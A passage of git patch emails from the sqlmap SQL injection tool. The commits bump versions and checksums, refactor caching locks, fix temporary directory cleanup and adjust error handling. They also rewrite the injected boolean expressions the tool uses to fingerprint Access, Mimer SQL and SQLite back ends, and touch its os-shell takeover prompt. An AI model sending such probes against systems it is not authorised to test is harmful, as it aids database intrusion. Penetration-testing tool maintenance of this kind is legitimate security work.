-9cf2047f6545670bc8d504bcc06a76e0d9eca2453cafd2b071d3d11baaca694e plugins/dbms/access/fingerprint.py +99fb8acf31529008c2aa30beaa19e0c2c04f74212b96d25adc3b4bf9b110d07e plugins/dbms/access/fingerprint.py 4ee0497890c6830113e36db873c97048f9aa157110029bb888ae59b949a4caf2 plugins/dbms/access/__init__.py 9be52ff94cdecad994f83c2b7fbeb8178d77f081928e1720d82cddb524d256c6 plugins/dbms/access/syntax.py 1e2a87087dbb9f5b9e8690c283abde4c76da3285200914009187d0a957aa33b9 plugins/dbms/access/takeover.py @@ -377,7 +377,7 @@ f150ce95097d189d930032d5b2e63b166bcf9e438f725aed90c36e5c393793ec plugins/dbms/m 237615b40daa249a74898cfea05543a200e6ec668076bb9ee57502e1cee2b751 plugins/dbms/mimersql/connector.py 9bc55b72f833a71b978a64def32f9bb949c84cf059e953a7ba7f83755714bee1 plugins/dbms/mimersql/enumeration.py 15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/mimersql/filesystem.py -8e292bf4b249e2cf2b9dce43e07365a3b0aa7016d094de0491d5e507a2a7c1dc plugins/dbms/mimersql/fingerprint.py +02ad6eb9837e7a455991f8061287e3ef3e0346d7d4e01005f2dd649dd3c2fb2c plugins/dbms/mimersql/fingerprint.py e70a35787a176b388dae2b8124433a11ac60e4b669fd18ebf81665a45233363a plugins/dbms/mimersql/__init__.py bc7e155bd1cc573fd4144ba98cce34f41bae489208acd3db15d1c36115bf23f8 plugins/dbms/mimersql/syntax.py 2dea7308e4ddd3083c7b2e9db210b7cc00f27f55692b2a65affdf5344e2838df plugins/dbms/mimersql/takeover.py @@ -433,7 +433,7 @@ e5b680e2668313a8b3d4567e2394b557a7db407c4f978f63a54c41b8d786d4b1 plugins/dbms/r 3038aa55150688855fb4ea5017fe3405a414f2cf4a7630764b482d02f7442b25 plugins/dbms/sqlite/connector.py 6736ff9995db5675bb82bf2014117bdc5ce641f119b79763edb7aa983443ec87 plugins/dbms/sqlite/enumeration.py e75cf970d5d76bc364d2fd02eab4086be6263d9c71fa5b44449bada158cd87d3 plugins/dbms/sqlite/filesystem.py -d9a17f49a99b715187e12635a202c5a487e71ef2e6877116d5bc9eb4a0d28eee plugins/dbms/sqlite/fingerprint.py +c952f1848b7b9bef7c9cd40460849e805d19646e859ad4dac6ebb9f45573447d plugins/dbms/sqlite/fingerprint.py 9b00c84f7b25b488a4cbb45fe9571e6661206771f1968f68badc0c670f042a0b plugins/dbms/sqlite/__init__.py 5457814ccacf9ca75ae6c39f1e615dd1ca63a8a2f21311f549f8a1df02d09634 plugins/dbms/sqlite/syntax.py 3aeb29f4486bd43b34afe58f581cb19a9932cabc87888416d2e383737b690072 plugins/dbms/sqlite/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a116989c81..959d60ad0c5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.6.10" +VERSION = "1.9.7.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 81ef53ebca6..885a796162e 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -162,7 +162,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) - result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") + result = inject.checkBooleanExpression("IIF(ATN(2) IS NOT NULL,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py index bde2646a76a..4f8bc5ee7c0 100644 --- a/plugins/dbms/mimersql/fingerprint.py +++ b/plugins/dbms/mimersql/fingerprint.py @@ -68,7 +68,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MIMERSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("IRAND()>=0") + result = inject.checkBooleanExpression("IRAND() IS NOT NULL") if result: infoMsg = "confirming %s" % DBMS.MIMERSQL diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 5f970ceaae4..66074ef7efa 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -93,7 +93,7 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) - result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") + result = inject.checkBooleanExpression("RANDOMBLOB(-1) IS NOT NULL") version = '3' if result else '2' Backend.setVersion(version) From ea892f9d6277875c147f8f53486c3c362218e12b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Jul 2025 20:53:58 +0200 Subject: [PATCH 195/853] Minor refactoring --- data/txt/sha256sums.txt | 4 ++-- lib/core/decorators.py | 9 +++------ lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3df96f83427..83b2b58d2df 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -170,7 +170,7 @@ d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compa ebe518089733722879f5a13e73020ebe55d46fb7410cacf292ca4ea1d9d1c56a lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py a051955f483b281344ae16ecc1d26f77ea915db0a77a7b62c1a5b80feb2d4d87 lib/core/datatype.py -1e4e4cb64c0102a6ef07813c5a6b6c74d50f27d1a084f47067d01e382cf32190 lib/core/decorators.py +da86858cc966861e0f28f8003a151c6b353dfecbdbbeadb73f38c618382b75c4 lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py ce6e1c1766acd95168f7708ddcacaa4a586c21ffc9e92024c4715611c802b60c lib/core/dicts.py c9d1f64648062d7962caf02c4e2e7d84e8feb2a14451146f627112aae889afcd lib/core/dump.py @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -bf443de2412ceec81399f93923bdbc1575653122edc12c300737466663c491b5 lib/core/settings.py +a943ba4cf82c077d17bf250e7682ff8bc16ee0e67401fc520e1f6b9a79ba61d3 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/decorators.py b/lib/core/decorators.py index cf68b1f4776..3b9aa60ac5b 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -16,7 +16,6 @@ _cache = {} _cache_lock = threading.Lock() -_method_locks = {} def cachedmethod(f): """ @@ -87,14 +86,12 @@ def _(*args, **kwargs): return _ def lockedmethod(f): + lock = threading.RLock() + @functools.wraps(f) def _(*args, **kwargs): - if f not in _method_locks: - _method_locks[f] = threading.RLock() - - with _method_locks[f]: + with lock: result = f(*args, **kwargs) - return result return _ diff --git a/lib/core/settings.py b/lib/core/settings.py index 959d60ad0c5..aeab9d31aef 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.0" +VERSION = "1.9.7.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From da65936a3cacc50f80cadadb702a6589547da6ba Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Jul 2025 22:07:24 +0200 Subject: [PATCH 196/853] Minor refactoring --- data/txt/sha256sums.txt | 6 +++--- lib/core/datatype.py | 7 ++++--- lib/core/decorators.py | 25 +++++++++++++++---------- lib/core/settings.py | 2 +- 4 files changed, 23 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 83b2b58d2df..b92869e9c77 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -169,8 +169,8 @@ e3b8f8cf9607d12f3de5e6bcd5031f21f50d4b331844b8e921493dfde2efe0f7 lib/core/commo d53a8aecab8af8b8da4dc1c74d868f70a38770d34b1fa50cae4532cae7ce1c87 lib/core/compat.py ebe518089733722879f5a13e73020ebe55d46fb7410cacf292ca4ea1d9d1c56a lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py -a051955f483b281344ae16ecc1d26f77ea915db0a77a7b62c1a5b80feb2d4d87 lib/core/datatype.py -da86858cc966861e0f28f8003a151c6b353dfecbdbbeadb73f38c618382b75c4 lib/core/decorators.py +ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py +8a5a6f5313726d6880aeb1ffca35bc2ff6ecd3709b3e987551189a72fed25bf0 lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py ce6e1c1766acd95168f7708ddcacaa4a586c21ffc9e92024c4715611c802b60c lib/core/dicts.py c9d1f64648062d7962caf02c4e2e7d84e8feb2a14451146f627112aae889afcd lib/core/dump.py @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -a943ba4cf82c077d17bf250e7682ff8bc16ee0e67401fc520e1f6b9a79ba61d3 lib/core/settings.py +a4f0bd3aec711d65a6a18dfb1b966c5890a93f3c1a47187831c0831fb0e89034 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 159380e76c9..56fd0baeb65 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -152,9 +152,10 @@ def __contains__(self, key): return key in self.cache def __getitem__(self, key): - value = self.cache.pop(key) - self.cache[key] = value - return value + with self.__lock: + value = self.cache.pop(key) + self.cache[key] = value + return value def get(self, key): return self.__getitem__(key) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 3b9aa60ac5b..80222318145 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -15,7 +15,7 @@ from lib.core.threads import getCurrentThreadData _cache = {} -_cache_lock = threading.Lock() +_method_locks = {} def cachedmethod(f): """ @@ -37,22 +37,27 @@ def cachedmethod(f): """ _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) + _method_locks[f] = threading.RLock() @functools.wraps(f) def _f(*args, **kwargs): + parts = ( + f.__module__ + "." + f.__name__, + "|".join(repr(a) for a in args), + "|".join("%s=%r" % (k, kwargs[k]) for k in sorted(kwargs)) + ) try: - key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff + key = int(hashlib.md5("|".join(parts).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) result = f(*args, **kwargs) else: - try: - with _cache_lock: - result = _cache[f][key] - except KeyError: - result = f(*args, **kwargs) - - with _cache_lock: - _cache[f][key] = result + lock, cache = _method_locks[f], _cache[f] + with lock: + try: + result = cache[key] + except KeyError: + result = f(*args, **kwargs) + cache[key] = result return result diff --git a/lib/core/settings.py b/lib/core/settings.py index aeab9d31aef..b7ebd4d5652 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.1" +VERSION = "1.9.7.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From de10cff3e0a1b64f5b7f04aed7beb07ebb9a709e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Jul 2025 23:18:48 +0200 Subject: [PATCH 197/853] Fixes leakage of sqlmap temporary directories --- data/txt/sha256sums.txt | 6 +++--- lib/core/option.py | 7 +++++-- lib/core/settings.py | 2 +- sqlmap.py | 8 ++++---- 4 files changed, 13 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b92869e9c77..1ff89b8a8f7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,14 +180,14 @@ c9d1f64648062d7962caf02c4e2e7d84e8feb2a14451146f627112aae889afcd lib/core/dump. 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/core/__init__.py 3d308440fb01d04b5d363bfbe0f337756b098532e5bb7a1c91d5213157ec2c35 lib/core/log.py 2a06dc9b5c17a1efdcdb903545729809399f1ee96f7352cc19b9aaa227394ff3 lib/core/optiondict.py -97378f241005dc1b8b4c0a67b9b39af76a9735d2bb0a49e8f2ef59c0d115d93e lib/core/option.py +3ca1a6759c196aa104130af0ed47826cd01009beaa3fa836a25faabfec7dd18e lib/core/option.py 866e93c93541498ecce70125037bdd376d78188e481d225f81843f21f4797d8c lib/core/patch.py 85f10c6195a3a675892d914328173a6fb6a8393120417a2f10071c6e77bfa47d lib/core/profiling.py c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readlineng.py d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -a4f0bd3aec711d65a6a18dfb1b966c5890a93f3c1a47187831c0831fb0e89034 lib/core/settings.py +9e356b74c0f4db3788619d4c4090290b4175cccc58650ef5667813ae11b1d71b lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -476,7 +476,7 @@ baaf7a29a1fe07e7cecc7fb1b1f6a6f327b12154b8d5619e9808b2cf43ad2198 README.md 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml c43cc0dd5b4026083ad420c04705a031504aa503cc99ab2236010c4cbd472d39 sqlmap.conf -e29538ddcb7bb80fc3b07b3ccc23e46df1faf9ff4b6d7db0558a9a9587a6b8c6 sqlmap.py +cf35266a47f5acfd5f0c7dfc4443bf46480cdc2e1ae9cfc2014602e798e91d24 sqlmap.py 82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py c9c3d71f11de0140906d7b4f24fadb9926dc8eaf5adab864f8106275f05526ce tamper/apostrophenullencode.py diff --git a/lib/core/option.py b/lib/core/option.py index 45e40dd7fac..e5fb2a80c0d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1657,6 +1657,8 @@ def _createTemporaryDirectory(): errMsg += "temporary directory location ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) + conf.tempDirs.append(tempfile.tempdir) + if six.PY3: _pympTempLeakPatch(kb.tempDir) @@ -1982,6 +1984,8 @@ def _setConfAttributes(): conf.dbmsHandler = None conf.dnsServer = None conf.dumpPath = None + conf.fileWriteType = None + conf.HARCollectorFactory = None conf.hashDB = None conf.hashDBFile = None conf.httpCollector = None @@ -1998,9 +2002,8 @@ def _setConfAttributes(): conf.resultsFP = None conf.scheme = None conf.tests = [] + conf.tempDirs = [] conf.trafficFP = None - conf.HARCollectorFactory = None - conf.fileWriteType = None def _setKnowledgeBaseAttributes(flushAll=True): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index b7ebd4d5652..f2a14f8b968 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.2" +VERSION = "1.9.7.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index c5682fbdd46..8ca24fff442 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -567,17 +567,17 @@ def main(): kb.threadException = True - if kb.get("tempDir"): + for tempDir in conf.get("tempDirs", []): for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY): - for filepath in glob.glob(os.path.join(kb.tempDir, "%s*" % prefix)): + for filepath in glob.glob(os.path.join(tempDir, "%s*" % prefix)): try: os.remove(filepath) except OSError: pass - if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.smokeTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: - shutil.rmtree(kb.tempDir, ignore_errors=True) + shutil.rmtree(tempDir, ignore_errors=True) except OSError: pass From c3c1f35b35d298161fd0dbd84b8f77791aff5e26 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jul 2025 13:57:10 +0200 Subject: [PATCH 198/853] Fixes #5926 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/takeover/abstraction.py | 2 ++ 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1ff89b8a8f7..00e91749e1d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -9e356b74c0f4db3788619d4c4090290b4175cccc58650ef5667813ae11b1d71b lib/core/settings.py +cb6215dcc72a0c30a1943c2c4669d68feefba3e08e20771e3caa4f56628a2acb lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -221,7 +221,7 @@ eba8b1638c0c19d497dcbab86c9508b2ce870551b16a40db752a13c697d7d267 lib/request/pk 6336a6aba124905dab3e5ff67f76cf9b735c2a2879cc3bc8951cb06bea125895 lib/request/rangehandler.py 14b402c3a927b7fb251622c9f4faf507993e033bd3b1cc281fe2873b9a382a51 lib/request/redirecthandler.py 3157d66bb021b71b2e71e355b209578d15f83000f0655bcf0cd7c7eed5d4669b lib/request/templates.py -96f38f1b99648e72f99e419b2119f380635fca42a2a8854625b7ccc630f484a7 lib/takeover/abstraction.py +5f5680c5b1db48ed2a13f47ba9de8b816d9d4f7f4c7abd07a48eb7ecbe9cf3ca lib/takeover/abstraction.py 250782249ee5afbcf3f398c596edbc3a9a1b35b3e11ac182678f6e22c1449852 lib/takeover/icmpsh.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/takeover/__init__.py 24f4f85dad38b4641bd70c8c9a2e5221531a37fdd27e04731176c03b5b1784f5 lib/takeover/metasploit.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f2a14f8b968..676e758c271 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.3" +VERSION = "1.9.7.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 7bffa92ce69..375ee24f3cd 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -143,6 +143,8 @@ def shell(self): try: command = _input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) + except UnicodeDecodeError: + pass except KeyboardInterrupt: print() errMsg = "user aborted" From 52e83cdca1d60c01750fd4a7de87673cf667f44d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Jul 2025 14:09:49 +0200 Subject: [PATCH 199/853] Fixes #5924 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/basic.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 00e91749e1d..cdf15d46f0d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -cb6215dcc72a0c30a1943c2c4669d68feefba3e08e20771e3caa4f56628a2acb lib/core/settings.py +b63ca0a001ddca7f8b0c29046e1c79d0d394fb4026c24321d7dd8d530f19dd91 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -207,7 +207,7 @@ cfd4857ce17e0a2da312c18dcff28aefaa411f419b4e383b202601c42de40eec lib/parse/head 8baab6407b129985bf0acbea17c6a02d3a1b33b81fc646ce6c780d77fe2cc854 lib/parse/payloads.py d7082e4a5937f65cbb4862701bad7d4fbc096a826621ba7eab92e52e48ebd6d7 lib/parse/sitemap.py 0f52f3c1d1f1322a91c98955bd8dc3be80964d8b3421d453a0e73a523c9cfcbf lib/request/basicauthhandler.py -18cb22d4dabdcc8e3381baf66edd52e74ad2d2067d0116e134a94ffc950c054e lib/request/basic.py +48bdb0f5f05ece57e6e681801f7ed765739ebe537f9fa5a0465332d4f3f91c06 lib/request/basic.py fdb4a9f2ca9d01480c3eb115f6fdf8d89f8ff0506c56a223421b395481527670 lib/request/chunkedhandler.py bb8a06257d170b268c66dcbd3c0fbe013de52eed1e63bb68caa112af5b9f8ca9 lib/request/comparison.py cfa172dbc459a3250db7fbaadb62b282b62d56b4f290c585d3abec01597fcd40 lib/request/connect.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 676e758c271..b905d811106 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.4" +VERSION = "1.9.7.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 26c6ba30702..31fd1854c1d 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -402,7 +402,7 @@ def processResponse(page, responseHeaders, code=None, status=None): kb.identifiedWafs.add(waf) errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) singleTimeLogMessage(errMsg, logging.CRITICAL) - except SystemError as ex: + except Exception as ex: singleTimeWarnMessage("internal error occurred in WAF/IPS detection ('%s')" % getSafeExString(ex)) if kb.originalPage is None: From 12594c2dc7652bbd6832df5be416b031e098c7e4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Jul 2025 12:21:20 +0200 Subject: [PATCH 200/853] Nobody is reporting comparison bug, thus, changing behavior --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/comparison.py | 20 ++++++++++---------- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index cdf15d46f0d..c73eeacc6a3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -b63ca0a001ddca7f8b0c29046e1c79d0d394fb4026c24321d7dd8d530f19dd91 lib/core/settings.py +a7498d5d6e0e51b8a8458c85dee52c20aeb815412f65dca979001ff7d78354b1 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -209,7 +209,7 @@ d7082e4a5937f65cbb4862701bad7d4fbc096a826621ba7eab92e52e48ebd6d7 lib/parse/site 0f52f3c1d1f1322a91c98955bd8dc3be80964d8b3421d453a0e73a523c9cfcbf lib/request/basicauthhandler.py 48bdb0f5f05ece57e6e681801f7ed765739ebe537f9fa5a0465332d4f3f91c06 lib/request/basic.py fdb4a9f2ca9d01480c3eb115f6fdf8d89f8ff0506c56a223421b395481527670 lib/request/chunkedhandler.py -bb8a06257d170b268c66dcbd3c0fbe013de52eed1e63bb68caa112af5b9f8ca9 lib/request/comparison.py +c56a2c170507861403e0ddebd68a111bcf3a5f5fddc7334a9de4ecd572fdcc2f lib/request/comparison.py cfa172dbc459a3250db7fbaadb62b282b62d56b4f290c585d3abec01597fcd40 lib/request/connect.py a890be5dee3fb4f5cb8b5f35984017a5c172d587722cf0c690bf50e338deebfa lib/request/direct.py a53fa3513431330ce1725a90e7e3d20f223e14605d699e1f66b41625f04439c7 lib/request/dns.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b905d811106..820a6c06401 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from 